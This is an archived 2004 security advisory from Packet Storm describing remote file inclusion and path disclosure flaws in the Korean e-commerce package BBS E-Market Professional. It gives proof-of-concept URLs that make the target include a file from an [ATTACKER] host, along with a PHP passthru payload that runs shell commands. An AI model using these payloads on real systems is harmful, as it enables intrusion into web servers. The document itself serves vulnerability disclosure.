evolve or die

Echo Security Advisory 2004.6

Echo Security Advisory 2004.6
Posted Sep 10, 2004
Authored by y3dips, Echo Security | Site y3dips.echo.or.id

1n BBS E-Market Professional is susceptible to remote command execution vulnerabilities via remote file inclusion and also has a full path disclosure flaw.

tags | exploit, remote, vulnerability, file inclusion
MD5 | e03ea9d6a54e8faeae3be555ce7dc52e

Echo Security Advisory 2004.6

Change Mirror Download


ECHO_ADV_06$2004

---------------------------------------------------------------------------
Multiple vulnerabilities 1n BBS E-Market Professional
---------------------------------------------------------------------------

Author: y3dips
Date: Sept, 7th 2004
Location: Indonesian, Jakarta
Web: http://echo.or.id/adv/adv06-y3dips-2004.txt

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

E-market is commercial software made by korean company, includes shopping mall,
community , e-crm (e-customer relationship management) , group buying ,weblog,
auction, estimate sheet , and other features

web : http://www.nt.co.kr
http://www.bbs2000.co.kr

Risk: very high ( ***** )
most off all korean sites that handle e-shop , e-banking,... use this
d**n software

else, no more info could get cause the site in korean language :(

---------------------------------------------------------------------------


Vulnerabilities:
~~~~~~~~~~~~~~~~

1. Remote Command Execution

Remote command execution on 'becommunity' (modules that support by BBS e-market
professional) makes insecure calls to the include() function of PHP (works
on " pageurl= " functions ) which can allow the inclusion of remote files,
and thereby the execution of arbitrary commands by remote user with the web
server user permissions, usually 'nobody' .


http://[TARGET]/becommunity/community/index.php?pageurl=[injection URL]
http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=[injection URL]

POC=

http://[TARGET]/becommunity/community/index.php?pageurl=http://[ATTACKER]/echo.txt?
http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=http://[ATTACKER]/echo.txt?

---------------------------------------------------------------------------

Exploit :
~~~~~~~~~

-------------------------------- cut -------------------------------------

<?
echo "".passthru(' ls -la ; id ')."";
?>


---------------------------------- cut ------------------------------------

save on attacker URL with name: echo.txt , to get a listing of file or directories ,
with user id that we got

--------------------------------------------------------------------------

2. Full Path disclosure

A remote user can access the file to cause the system to display an error
message that indicates the installation path. The resulting error message
will disclose potentially sensitive installation path information to the
remote attacker.

http://[TARGET]/becommunity/community/index.php?from_market=[char]

POC =

http://[TARGET]/becommunity/community/index.php?from_market=dudul


Warning: main(main.php) [function.main]: failed to create stream: No such file or directory in

/home5/standard_r5/[TARGET]/html/becommunity/community/index.php on line 239

Warning: main() [function.main]: Failed opening 'main.php' for inclusion (include_path='.:/usr/local/php/lib/php') in

/home5/standard_r5/[TARGET]/html/becommunity/community/index.php on line 239


---------------------------------------------------------------------------

The fix:
~~~~~
No Access to the code,- so buh bye :)
Vendor allready contacted but no response till now

---------------------------------------------------------------------------

Disclamier:
~~~~~~~

Advice, directions, instructions and script on security vulnerabilities
in this advisory for educational purpose, y3dips nor echo.or.id does not
accept responsibility for any damage or injury caused as a result of its use


---------------------------------------------------------------------------

Shoutz:
~~~~~

~ K-159, m0by, the_day, comex, z3r0byt3, c-a-s-e, S`to @T echo/staff
~ Biatch-x, yudhax, lieur-euy || newbie_hacker@yahoogroups.com
~ #e-c-h-o & #aikmel @DALNET

---------------------------------------------------------------------------

Contact:
~~~~~~~~

y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close